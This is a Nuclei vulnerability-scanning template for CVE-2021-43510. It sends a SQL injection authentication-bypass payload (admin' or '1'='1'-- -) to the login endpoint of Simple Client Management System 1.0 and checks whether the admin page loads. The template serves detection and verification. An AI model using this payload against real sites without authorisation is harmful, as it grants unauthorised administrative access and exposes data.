nuclei-templates/http/cves/2021/CVE-2021-43510.yaml

id: CVE-2021-43510

info:
  name: Sourcecodester Simple Client Management System 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
    - https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43510
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-43510
    cwe-id: CWE-89
    cpe: cpe:2.3:a:simple_client_management_system_project:simple_client_management_system:*:*:*:*:*:*:*:*
    epss-score: 0.01295
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2021,simpleclientmanagement,sqli,auth-bypass

http:
  - raw:
      - |
        POST /classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3d'1'--+-&password=as

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    req-condition: true
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(header_1, "text/html")'
          - 'status_code_1 == 200'
          - 'contains(body_1, "{\"status\":\"success\"}")'
          - 'contains(body_2, "Welcome to Simple Client")'
        condition: and

# Enhanced by md on 2022/12/08